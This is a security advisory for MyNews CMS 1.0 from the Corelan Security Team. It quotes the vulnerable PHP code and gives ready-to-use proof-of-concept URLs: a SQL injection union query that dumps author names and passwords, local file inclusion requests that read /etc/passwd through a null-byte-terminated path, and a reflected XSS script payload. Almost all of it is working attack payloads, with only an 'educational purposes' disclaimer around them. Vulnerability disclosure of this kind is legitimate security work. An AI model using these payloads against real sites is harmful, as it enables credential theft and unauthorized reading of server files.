MyNews CMS 1.0 Cross Site Scripting / Local File Inclusion / SQL Injection

`MyNews v1.0 CMS - Sql Injection, local file inclusion and XSS Vulnerabilities  
Found by: mr_me - http://net-ninja.net/  
Advisory: http://www.corelan.be:8800/advisories.php?id=10-040  
Dork: "Corelan Security Team"  
Homepage: http://mynews.magtrb.com/  
Download: http://mynews.magtrb.com/download.php?fname=upload/Versions/MyNews+v1.0.zip  
Greetz: Corelan Security Team  
http://www.corelan.be:8800/index.php/security/corelan-team-members/  
Notes:   
- Provided 'as is', without any warranty.  
- Use for educational purposes only.  
- Do not use this to do anything illegal !  
- Corelan cannot be held responsible for any damages this may cause.  
  
******************  
Sql Injection PoC:  
******************  
  
-------[ SNIP ]----------> article.php, line 10  
$sql_query = "select id, title, text, views from ".$prefix."_news where id=".$_GET[id]."";  
-------[ EOF SNIP ]------>  
  
http://[server]/MyNews/index.php?act=article&id=[ SQLI ]  
http://[server]/MyNews/index.php?act=article&id=-12+union+select+1,2,concat(name,0x3a,pwd),4+from+_authors--  
  
********************  
File Inclusion PoCs:  
********************  
  
-------[ SNIP ]----------> index.php, line 18  
if (!isset($_GET['act'])) { $act = 'news'; } else { $act = $_GET['act']; }  
  
include('./includes/header.php');  
require('./includes/'.$act.'.php');  
-------[ EOF SNIP ]------>  
  
-------[ SNIP ]----------> admin.php, line 65  
if(!isset($act)){$act ="index"; }  
  
if($act){include("includes/admin/$act.php");  
$smarty->assign("act", $act);  
}  
-------[ EOF SNIP ]------>  
  
1:  
http://[server]/MyNews/index.php?act=[ LFI ]%00&id=12  
http://[server]/MyNews/index.php?act=../../../../etc/passwd%00&id=12  
  
2 (requires authentication):  
http://[server]/MyNews/admin.php?act=[ LFI ]%00  
http://[server]/MyNews/admin.php?act=../../../../etc/passwd%00  
  
*******************  
Reflective XSS PoC:  
*******************  
  
http://[server]/MyNews/admin.php?act=<script>alert("Found by the Corelan Security Team")</script>  
  
__________________________________________________________________________________________________________________  
EOF  
`